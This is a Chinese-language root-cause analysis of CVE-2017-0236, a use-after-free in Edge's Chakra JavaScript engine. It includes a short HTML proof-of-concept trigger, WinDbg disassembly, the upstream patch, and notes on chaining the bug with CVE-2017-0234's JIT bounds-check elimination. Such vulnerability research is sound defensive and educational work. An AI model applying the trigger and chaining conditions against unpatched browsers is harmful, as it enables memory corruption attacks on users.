case study:cve-2017-0236

环境配置

准备

测试

PoC如下:

1
2
3
4
5
6
7
8
9
10
11
<html>
<script>
Math.cosh.call([1,2,3])//-->和vul无关,只是测试用
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
var worker = new Worker('uaf1.js');
worker.postMessage(buffer,[buffer]);
worker.terminate();
</script>
test case
</html>

使用EdgeDbg启动edge,并直接指定URL,效果如下(当然在这里我们直接指定的是test.html的本地存放路径)

1
2
3
4
5
6
7
8
9
10
11
H:\dev\C\EdgeDbg>EdgeDbg_x86.exe http://example.com
* Terminating any running instances of Microsoft Edge...
* Activating Microsoft Edge and opening http://example.com...
+ MicrosoftEdge.exe process id = 2744
* Waiting for MicrosoftEdgeCP.exe process to start...
+ MicrosoftEdgeCP.exe process id = 2748
+ RuntimeBroker.exe process id = 2936
+ browser_broker.exe process id = 3088
+ ApplicationFrameHost.exe process id = 1234

H:\dev\C\EdgeDbg>

然后在windbg里attach上MicrosoftEdgeCP.exe的pid即可。
在windbg里输入,设置符号服务器。

1
.sympath SRV*c:\localsymbols*http://msdl.microsoft.com/download/symbols

然后下断,输入g继续运行,观察是否断下,若顺利断下,则代表环境测试通过。

1
2
bu chakra!Js::Math::Cosh
bu chakra!Js::ArrayBuffer::ClearParentsLength

Root Cause

PoC

1
2
3
4
5
6
7
8
9
10
11
<html>
<script>
// Math.cosh.call([1,2,3])
var buffer = new ArrayBuffer(0x10000); //[0]
var view = new Uint32Array(buffer); //[1]
var worker = new Worker('uaf1.js');
worker.postMessage(buffer,[buffer]); //[2]
worker.terminate(); //[2]
</script>
test case
</html>

UAF

UAF(Use After Free):即释放后使用。
内存释放后未将pointer置为NULL,变成Dangling pointer;将Dangling pointer所指向的内存重新分配回来,且尽可能使该内存中的内容可控。

[0]

创建JSArrayBuffer Object,并通过VirtualAlloc分配内存空间buffer,JSArrayBuffer Object存有指向其申请的缓冲区的引用

uf chakra!Js::ArrayBuffer::NewInstance

1
2
3
4
5
6
7
8
9
10
11
0:010> uf chakra!Js::ArrayBuffer::NewInstance 
...
...
00007ffa`d2cb2633 e828000000 call chakra!Js::ArrayBuffer::GetByteLengthFromVar (00007ffa`d2cb2660)
chakra!Js::ArrayBuffer::NewInstance+0xc8:
00007ffa`d2cb2638 488b17 mov rdx,qword ptr [rdi]
00007ffa`d2cb263b 8bc8 mov ecx,eax
00007ffa`d2cb263d 488b9298040000 mov rdx,qword ptr [rdx+498h]
00007ffa`d2cb2644 e8733dfdff call chakra!Js::JavascriptArrayBuffer::Create (00007ffa`d2c863bc)//------>Create Buffer
...
...

uf chakra!Js::JavascriptArrayBuffer::Create

1
2
3
4
5
6
0:010> uf chakra!Js::JavascriptArrayBuffer::Create
chakra!Js::JavascriptArrayBuffer::Create:
...
00007ffa`d2c863fb e888010000 call chakra!Js::JavascriptArrayBuffer::JavascriptArrayBuffer (00007ffa`d2c86588)
...
00007ffa`d2c8642a c3 ret

uf chakra!Js::JavascriptArrayBuffer::JavascriptArrayBuffer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:010> uf chakra!Js::JavascriptArrayBuffer::JavascriptArrayBuffer
chakra!Js::JavascriptArrayBuffer::JavascriptArrayBuffer:
...
00007ffa`d2c8659e e89dffffff call chakra!Js::JavascriptArrayBuffer::IsValidVirtualBufferLength (00007ffa`d2c86540)//----->根据这个结果决定使用AllocWrapper还是malloc,length>=0x10000则使用AllocWrapper
00007ffa`d2c865a3 4c8b0ddec35600 mov r9,qword ptr [chakra!_imp_malloc (00007ffa`d31f2988)]
00007ffa`d2c865aa 488d0d4f920200 lea rcx,[chakra!Js::JavascriptArrayBuffer::AllocWrapper (00007ffa`d2caf800)]
00007ffa`d2c865b1 4c8b442440 mov r8,qword ptr [rsp+40h]
00007ffa`d2c865b6 84c0 test al,al
00007ffa`d2c865b8 8b542438 mov edx,dword ptr [rsp+38h]
00007ffa`d2c865bc 4c0f45c9 cmovne r9,rcx
00007ffa`d2c865c0 488bcb mov rcx,rbx
00007ffa`d2c865c3 e85c010000 call chakra!Js::ArrayBuffer::ArrayBuffer<void * __ptr64 (__cdecl*)(unsigned __int64)> (00007ffa`d2c86724)
00007ffa`d2c865c8 488d05512b5100 lea rax,[chakra!Js::JavascriptArrayBuffer::`vftable' (00007ffa`d3199120)]
00007ffa`d2c865cf 488903 mov qword ptr [rbx],rax
00007ffa`d2c865d2 488bc3 mov rax,rbx
00007ffa`d2c865d5 4883c420 add rsp,20h
00007ffa`d2c865d9 5b pop rbx
00007ffa`d2c865da c3 ret

uf Js::JavascriptArrayBuffer::AllocWrapper是VirtualAlloc的封装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:010> uf Js::JavascriptArrayBuffer::AllocWrapper 
chakra!Js::JavascriptArrayBuffer::AllocWrapper:
00007ffa`d2caf800 48894c2408 mov qword ptr [rsp+8],rcx
00007ffa`d2caf805 53 push rbx
00007ffa`d2caf806 4883ec20 sub rsp,20h
00007ffa`d2caf80a 33c9 xor ecx,ecx
00007ffa`d2caf80c 48ba0000000001000000 mov rdx,100000000h
00007ffa`d2caf816 41b800200000 mov r8d,2000h
00007ffa`d2caf81c 448d4901 lea r9d,[rcx+1]
00007ffa`d2caf820 ff15522c5400 call qword ptr [chakra!_imp_VirtualAlloc (00007ffa`d31f2478)]
00007ffa`d2caf826 488bd8 mov rbx,rax
00007ffa`d2caf829 4885c0 test rax,rax
00007ffa`d2caf82c 7429 je chakra!Js::JavascriptArrayBuffer::AllocWrapper+0x57 (00007ffa`d2caf857) Branch
...
...
...


1
2
3
4
5
6
7
8
9
0:010> dqs 000001d9`15dc7e80 l1
000001d9`15dc7e80 00007ffa`d3199120 chakra!Js::JavascriptArrayBuffer::`vftable'
...
...
0:010> dq 000001d9`15dc7e80---->JSArrayBuffer Object,存有指向buffer的pointer
000001d9`15dc7e80 00007ffa`d3199120 000001d9`15ebae80
000001d9`15dc7e90 00000000`00000000 00000000`00000000
000001d9`15dc7ea0 00000000`00000000 00000000`00000000
000001d9`15dc7eb0 000001da`15ff0000------>buffer 00000000`00010000

[1]

创建JSTypedArray Object,存有指向JSArrayBuffer的引用和JSArrayBuffer Object申请的缓冲区的引用

bu chakra!Js::TypedArrayBase::CreateNewInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:010> ub $ip
chakra!Js::TypedArray<unsigned int,0,0>::NewInstance+0x96:
00007ffa`d2c50d66 0f8497912700 je chakra!UnifiedRegex::AltNode::IsCharTrieArm+0x400b3 (00007ffa`d2ec9f03)
00007ffa`d2c50d6c 4885db test rbx,rbx
00007ffa`d2c50d6f 0f857e912700 jne chakra!UnifiedRegex::AltNode::IsCharTrieArm+0x400a3 (00007ffa`d2ec9ef3)
00007ffa`d2c50d75 4c8d0d34000000 lea r9,[chakra!Js::TypedArray<unsigned int,0,0>::Create (00007ffa`d2c50db0)]
00007ffa`d2c50d7c 41b804000000 mov r8d,4
00007ffa`d2c50d82 488bd6 mov rdx,rsi
00007ffa`d2c50d85 488d4c2420 lea rcx,[rsp+20h]
00007ffa`d2c50d8a e805080000 call chakra!Js::TypedArrayBase::CreateNewInstance (00007ffa`d2c51594)
0:010> u $ip
chakra!Js::TypedArray<unsigned int,0,0>::NewInstance+0xbf:
00007ffa`d2c50d8f 4084ff test dil,dil
00007ffa`d2c50d92 0f8580912700 jne chakra!UnifiedRegex::AltNode::IsCharTrieArm+0x400c8 (00007ffa`d2ec9f18)
00007ffa`d2c50d98 4883c430 add rsp,30h
00007ffa`d2c50d9c 5f pop rdi
00007ffa`d2c50d9d 5e pop rsi
00007ffa`d2c50d9e 5b pop rbx
00007ffa`d2c50d9f c3 ret
00007ffa`d2c50da0 cc int 3

[2]

  • worker.postMessage(buffer,[buffer]);
    移交buffer的所有权给worker线程
  • worker.terminate();
    结束worker线程,触发buffer的释放操作

chakra里这种结束线程并释放buffer的操作是我以前没有了解过的,而这也是这个漏洞的关键之一。

Free but no set NULL

将长度设置为0,但是未将View对ArrayBuffer Object对象申请的缓冲区的引用置NULL。

bu chakra!Js::ArrayBuffer::DetachAndGetState

1
2
3
4
5
6
7
8
9
10
11
0:010> bu chakra!Js::ArrayBuffer::DetachAndGetState
0:010> g
Breakpoint 3 hit
chakra!Js::ArrayBuffer::DetachAndGetState:
00007ffa`d30d8ab0 48894c2408 mov qword ptr [rsp+8],rcx ss:000000b0`396fb640=000001d915dc7e80
0:010> uf .
chakra!Js::ArrayBuffer::DetachAndGetState:
...
00007ffa`d30d8b0a e8bdfdffff call chakra!Js::ArrayBuffer::ClearParentsLength (00007ffa`d30d88cc)
...
00007ffa`d30d8b46 c3 ret

call chakra!Js::ArrayBuffer::ClearParentsLength

  • TypeId
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    enum TypeId
    {
    TypeIds_Undefined = 0,
    TypeIds_Null = 1,

    TypeIds_UndefinedOrNull = TypeIds_Null,

    TypeIds_Boolean = 2,

    // backend typeof() == "number" is true for typeIds
    // between TypeIds_FirstNumberType <= typeId <= TypeIds_LastNumberType
    TypeIds_Integer = 3,
    TypeIds_FirstNumberType = TypeIds_Integer,
    TypeIds_Number = 4,
    TypeIds_Int64Number = 5,
    TypeIds_UInt64Number = 6,
    TypeIds_LastNumberType = TypeIds_UInt64Number,

    TypeIds_String = 7,
    TypeIds_Symbol = 8,

    TypeIds_LastToPrimitiveType = TypeIds_Symbol,

    TypeIds_Enumerator = 9,
    TypeIds_VariantDate = 10,

    // SIMD types
    //[Please maintain Float32x4 as the first SIMDType and Bool8x16 as the last]
    TypeIds_SIMDFloat32x4 = 11,
    TypeIds_SIMDFloat64x2 = 12,
    TypeIds_SIMDInt32x4 = 13,
    TypeIds_SIMDInt16x8 = 14,
    TypeIds_SIMDInt8x16 = 15,

    TypeIds_SIMDUint32x4 = 16,
    TypeIds_SIMDUint16x8 = 17,
    TypeIds_SIMDUint8x16 = 18,

    TypeIds_SIMDBool32x4 = 19,
    TypeIds_SIMDBool16x8 = 20,
    TypeIds_SIMDBool8x16 = 21,
    TypeIds_LastJavascriptPrimitiveType = TypeIds_SIMDBool8x16,

    TypeIds_HostDispatch = 22,
    TypeIds_WithScopeObject = 23,
    TypeIds_UndeclBlockVar = 24,

    TypeIds_LastStaticType = TypeIds_UndeclBlockVar,

    TypeIds_Proxy = 25,
    TypeIds_Function = 26,

    //
    // The backend expects only objects whose typeof() === "object" to have a
    // TypeId >= TypeIds_Object. Only 'null' is a special case because it
    // has a static type.
    //
    TypeIds_Object = 27,
    TypeIds_Array = 28,
    TypeIds_ArrayFirst = TypeIds_Array,
    TypeIds_NativeIntArray = 29,
    #if ENABLE_COPYONACCESS_ARRAY
    TypeIds_CopyOnAccessNativeIntArray = 30,
    #endif
    TypeIds_NativeFloatArray = 31,
    TypeIds_ArrayLast = TypeIds_NativeFloatArray,
    TypeIds_Date = 32,
    TypeIds_RegEx = 33,
    TypeIds_Error = 34,
    TypeIds_BooleanObject = 35,
    TypeIds_NumberObject = 36,
    TypeIds_StringObject = 37,
    TypeIds_SIMDObject = 38,
    TypeIds_Arguments = 39,
    TypeIds_ES5Array = 40,
    TypeIds_ArrayBuffer = 41,
    TypeIds_Int8Array = 42,
    TypeIds_TypedArrayMin = TypeIds_Int8Array,
    TypeIds_TypedArraySCAMin = TypeIds_Int8Array, // Min SCA supported TypedArray TypeId
    TypeIds_Uint8Array = 43,
    TypeIds_Uint8ClampedArray = 44,
    TypeIds_Int16Array = 45,
    TypeIds_Uint16Array = 46,
    TypeIds_Int32Array = 47,
    TypeIds_Uint32Array = 48,//---->0x30
    TypeIds_Float32Array = 49,
    TypeIds_Float64Array = 50,
    TypeIds_TypedArraySCAMax = TypeIds_Float64Array, // Max SCA supported TypedArray TypeId
    TypeIds_Int64Array = 51,
    TypeIds_Uint64Array = 52,
    TypeIds_CharArray = 53,
    TypeIds_BoolArray = 54,
    TypeIds_TypedArrayMax = TypeIds_BoolArray,
    TypeIds_EngineInterfaceObject = 55,
    TypeIds_DataView = 56,
    TypeIds_WinRTDate = 57,
    TypeIds_Map = 58,
    TypeIds_Set = 59,
    TypeIds_WeakMap = 60,
    TypeIds_WeakSet = 61,
    TypeIds_SymbolObject = 62,
    TypeIds_ArrayIterator = 63,
    TypeIds_MapIterator = 64,
    TypeIds_SetIterator = 65,
    TypeIds_StringIterator = 66,
    TypeIds_JavascriptEnumeratorIterator = 67, /* Unused */
    TypeIds_Generator = 68,
    TypeIds_Promise = 69,
    TypeIds_SharedArrayBuffer = 70,

    TypeIds_WebAssemblyModule = 71,
    TypeIds_WebAssemblyInstance = 72,
    TypeIds_WebAssemblyMemory = 73,
    TypeIds_WebAssemblyTable = 74,

    TypeIds_LastBuiltinDynamicObject = TypeIds_WebAssemblyTable,
    TypeIds_GlobalObject = 75,
    TypeIds_ModuleRoot = 76,
    TypeIds_LastTrueJavascriptObjectType = TypeIds_ModuleRoot,

    TypeIds_HostObject = 77,
    TypeIds_ActivationObject = 78,
    TypeIds_SpreadArgument = 79,
    TypeIds_ModuleNamespace = 80,
    TypeIds_ListIterator = 81,

    TypeIds_Limit //add a new TypeId before TypeIds_Limit or before TypeIds_LastTrueJavascriptObjectType
    };
    TypeIds_Uint32Array = 48,//---->0x30
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    0:010> uf chakra!Js::ArrayBuffer::ClearParentsLength
    chakra!Js::ArrayBuffer::ClearParentsLength:
    00007ffa`d30d88cc 4889542410 mov qword ptr [rsp+10h],rdx
    00007ffa`d30d88d1 48894c2408 mov qword ptr [rsp+8],rcx
    00007ffa`d30d88d6 4883ec28 sub rsp,28h
    00007ffa`d30d88da 488b4c2438 mov rcx,qword ptr [rsp+38h]
    00007ffa`d30d88df 4885c9 test rcx,rcx---->if TypedArrayBuffer==NULL,则直接return
    00007ffa`d30d88e2 742d je chakra!Js::ArrayBuffer::ClearParentsLength+0x45 (00007ffa`d30d8911) Branch-->return

    chakra!Js::ArrayBuffer::ClearParentsLength+0x18:
    00007ffa`d30d88e4 488bc1 mov rax,rcx
    00007ffa`d30d88e7 48c1e830 shr rax,30h
    00007ffa`d30d88eb 4883f801 cmp rax,1----->如果是一个small int值,那么其右移48位得到的值应该是1,不是TypedArray Object,则直接return
    00007ffa`d30d88ef 7420 je chakra!Js::ArrayBuffer::ClearParentsLength+0x45 (00007ffa`d30d8911) Branch --->return

    chakra!Js::ArrayBuffer::ClearParentsLength+0x25:
    00007ffa`d30d88f1 e8fa8cd4ff call chakra!Js::JavascriptNumber::Is_NoTaggedIntCheck (00007ffa`d2e215f0)
    00007ffa`d30d88f6 84c0 test al,al----->如果是一个NoTaggedInt值,不是TypedArray Object,则直接return
    00007ffa`d30d88f8 7517 jne chakra!Js::ArrayBuffer::ClearParentsLength+0x45 (00007ffa`d30d8911) Branch---->return

    chakra!Js::ArrayBuffer::ClearParentsLength+0x2e:
    00007ffa`d30d88fa 488b4108 mov rax,qword ptr [rcx+8]
    00007ffa`d30d88fe 83382a cmp dword ptr [rax],2Ah //小于0x2A即42,即非TypedArray,则return
    00007ffa`d30d8901 7c0e jl chakra!Js::ArrayBuffer::ClearParentsLength+0x45 (00007ffa`d30d8911) Branch //-->return

    chakra!Js::ArrayBuffer::ClearParentsLength+0x37:
    00007ffa`d30d8903 833836 cmp dword ptr [rax],36h //大于0x2A(42),小于等于0x36(54),则将长度置为0

    TypeIds_Uint8Array = 43,
    TypeIds_Uint8ClampedArray = 44,
    TypeIds_Int16Array = 45,
    TypeIds_Uint16Array = 46,
    TypeIds_Int32Array = 47,
    TypeIds_Uint32Array = 48,//---->0x30
    TypeIds_Float32Array = 49,
    TypeIds_Float64Array = 50,
    TypeIds_TypedArraySCAMax = TypeIds_Float64Array, // Max SCA supported TypedArray TypeId
    TypeIds_Int64Array = 51,
    TypeIds_Uint64Array = 52,
    TypeIds_CharArray = 53,
    TypeIds_BoolArray = 54,

    00007ffa`d30d8906 7e05 jle chakra!Js::ArrayBuffer::ClearParentsLength+0x41 (00007ffa`d30d890d) Branch---->跳转
    ...
    ...
    chakra!Js::ArrayBuffer::ClearParentsLength+0x41:
    00007ffa`d30d890d 83612000 and dword ptr [rcx+20h],0----->将长度设置为0,但是未将View对ArrayBuffer Object对象申请的缓冲区的引用置NULL。

    chakra!Js::ArrayBuffer::ClearParentsLength+0x45:
    00007ffa`d30d8911 4883c428 add rsp,28h
    00007ffa`d30d8915 c3 ret


将长度设置为0

对应到ClearParentsLength源码中

1
2
3
4
5
6
7
8
void ArrayBuffer::ClearParentsLength(ArrayBufferParent* pare nt)
{
switch (JavascriptOperators::GetTypeId(parent))
{
...
case TypeIds_Uint32Array:
...
TypedArrayBase::FromVar(parent)->length = 0;------------->free but no set NULL

注意此时其实ArrayBuffer Object所分配的buffer已经被释放了,所以可以被我们重新分配出来,占位。

Patch

指针

https://github.com/Microsoft/ChakraCore/commit/1ae7e3ce95515758b4cd7215cb4e48539a0f4031
patch就是将未置为NULL的指针置为NULL了

1
2
3
4
5
6
7
8
+ void TypedArrayBase::ClearLengthAndBufferOnDetach()
+ {
+ AssertMsg(IsDetachedBuffer(), "Array buffer should be detached if we're calling this method");
+
+ this->length = 0;
+ this->buffer = nullptr;
+ }
+

虚表

从patch里找一个case

1
2
3
4
5
6
7
8
9
10
11
case TypeIds_Int32Array:
if (Int32VirtualArray::Is(parent))
{
if (VirtualTableInfo<Int32VirtualArray>::HasVirtualTable(parent))
{
VirtualTableInfo<Int32Array>::SetVirtualTable(parent);
}
...
}
TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach();
break;

注意到patch里有这样的代码,目的是什么呢?
SetVirtualTable将虚表由Int32VirtualArray修改为Int32Array。
而我们知道0234触发的条件是如下代码,注意IsLikelyOptimizedVirtualTypedArray

1
2
3
4
5
6
7
8
if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */)
{
....
eliminatedLowerBoundCheck = true;
eliminatedUpperBoundCheck = true;
canBailOutOnArrayAccessHelperCall = false;
}
}

这个Patch的目的仍然和0234有关,将漏洞联系起来看。
这样去修改虚表我测试了一下,暂时没找到什么可能引入的安全问题。

开发者的Assumption

即使存在对free了的内存的引用,由于MemGC,并不会直接造成UAF,因为不可占位。而且将length置为0,就不存在可以继续操作这个缓冲区的的可能。

  1. 在开发者的假设里,MemGC对引用进行扫描,从而不释放仍有引用指向的缓冲区,可以很好的缓解UAF,但是通过控制ArrayBuffer的长度,我们可以让它使用VirtualAlloc分配,而不是GC。于是就没有上述的检查。
  2. 其实不把指针置为NULL这种写法理论上并不一定能造成影响,因为我们已经把length置为0了,理论上说我们已经无法控制分配的缓冲区了,无法读写。

但是由于利用0234,可以在JIT时消除上界下界,于是我们就有了一个越界读写,可以打破length等于0给我们造成的限制。

Pattern

这个漏洞的发现是由0234逐次引入的,要找到一个UAF,首先要定位到一个可控对象的释放操作,这也是我不熟知的一个点。
还有就是在其中找到直接将length置为0,就“不可操作”了,这种释放方式。
从该函数的其他case可以看到dataview也是这么操作的,删除Length但是不置NULL,但是由于无法触发JIT的消除边界优化,所以更难以利用了。(也被一起补了)

1
2
case TypeIds_DataView:
DataView::FromVar(parent)->length = 0;

总结

0234(OOB)触发的条件(由有限到推广)

有限 推广
ArrayBuffer(0x10000) 需要一个大于0x10000大小的buffer,这样才会让TypedArray的虚表类型是VirtualArray,从而触发JIT优化
Uint32Array(buffer) 单个element size大于1字节的VirtualTypedArray(即除了Uint8Array和Int8Array)
循环次数足够大,触发JIT优化(循环体内是对数组的赋值,在优化后去掉边界检查) 循环次数足够大,触发JIT优化(循环体内是对数组的赋值,在优化后去掉边界检查)

0236(UAF)触发的条件(由有限到推广)

有限 推广
ArrayBuffer(0x10000) 需要一个大于0x10000大小的buffer,使得通过VirtualAlloc分配,从而绕过MemGC的引用计数,延迟释放,才能引发UAF
Uint32Array(buffer) ArrayBuffer的一个parent对象。detach之后在其中仍然保留一个指向缓冲区的引用,从而造成UAF,注意这里不仅TypedArray可以UAF,DateView也可以。但是DataView无法和0234结合使用,不满足IsLikelyOptimizedVirtualTypedArray
worker.postMessage(buffer,[buffer]);worker.terminate(); 进行Detach,触发UAF

交集

关于虚表的部分补充在上面patch第二部分。

1
2
ArrayBuffer(0x10000)	
Uint32Array(buffer)

虽然PoC里这部分相同,但是目的却各不相同。
ArrayBuffer(0x10000)在0236的主要目的是绕过MemGC的UAF缓解机制

而在0234,目的则是由于通过VA分配,update虚表为VirtualArray,从而触发JIT优化。

1
2
3
4
5
6
7
8
if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */)
{
....
eliminatedLowerBoundCheck = true;
eliminatedUpperBoundCheck = true;
canBailOutOnArrayAccessHelperCall = false;
}
}

update虚表操作如下:

1
2
chakra!Js::TypedArray<unsigned int,0,0>::TypedArray<unsigned int,0,0>+0xd1:
00007ffa`d2c50f21 e8c6f7ffff call chakra!VirtualTableInfo<Js::TypedArray<unsigned int,0,1> >::SetVirtualTable (00007ffa`d2c506ec)


源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
template <typename TypeName, bool clamped, bool virtualAllocated>
TypedArray<TypeName, clamped, virtualAllocated>::TypedArray(ArrayBufferBase* arrayBuffer, uint32 byteOffset, uint32 mappedLength, DynamicType* type) :
TypedArrayBase(arrayBuffer, byteOffset, mappedLength, sizeof(TypeName), type)
{
AssertMsg(arrayBuffer->GetByteLength() >= byteOffset, "invalid offset");
AssertMsg(mappedLength*sizeof(TypeName)+byteOffset <= arrayBuffer->GetByteLength(), "invalid length");
buffer = arrayBuffer->GetBuffer() + byteOffset;
if (arrayBuffer->IsValidVirtualBufferLength(arrayBuffer->GetByteLength()) &&
(byteOffset == 0) &&
(mappedLength == (arrayBuffer->GetByteLength() / sizeof(TypeName)))
)
{
// update the vtable
switch (type->GetTypeId())
{
case TypeIds_Int8Array:
VirtualTableInfo<Int8VirtualArray>::SetVirtualTable(this);
break;
case TypeIds_Uint8Array:
VirtualTableInfo<Uint8VirtualArray>::SetVirtualTable(this);
break;
case TypeIds_Uint8ClampedArray:
VirtualTableInfo<Uint8ClampedVirtualArray>::SetVirtualTable(this);
break;
case TypeIds_Int16Array:
VirtualTableInfo<Int16VirtualArray>::SetVirtualTable(this);
break;
case TypeIds_Uint16Array:
VirtualTableInfo<Uint16VirtualArray>::SetVirtualTable(this);
break;
case TypeIds_Int32Array:
VirtualTableInfo<Int32VirtualArray>::SetVirtualTable(this);
break;
case TypeIds_Uint32Array:
VirtualTableInfo<Uint32VirtualArray>::SetVirtualTable(this);
break;

而Uint32对于0234是为了OOB,对于0236是保留一个指向缓冲区的引用,UAF。

但是0236的PoC单独使用是没有意义的,因为ClearLength将TypedArray的length清零,无法控制内存。
但是通过0234的JIT优化,去掉了边界检查,从而可以修改缓冲区,发挥UAF的威力。

总结

我觉得必要条件和充分条件是很有趣和有用的想法。
这其中还有一种对抗与脆弱性的思维在里面,一个有价值的漏洞引入的很可能不是一个地方有问题,而是类似实现的地方都有问题,通过这个poc可以触发,patch之后能不能找到类似的实现或者因为没有补全找到更多触发,甚至由于patch的不好引发新的安全问题,都有可能。
除此之外,将漏洞联系起来看,而不是单纯的去看一个OOB或者单纯一个UAF,能够更深入的思考漏洞的本质,找到更多利用的想法。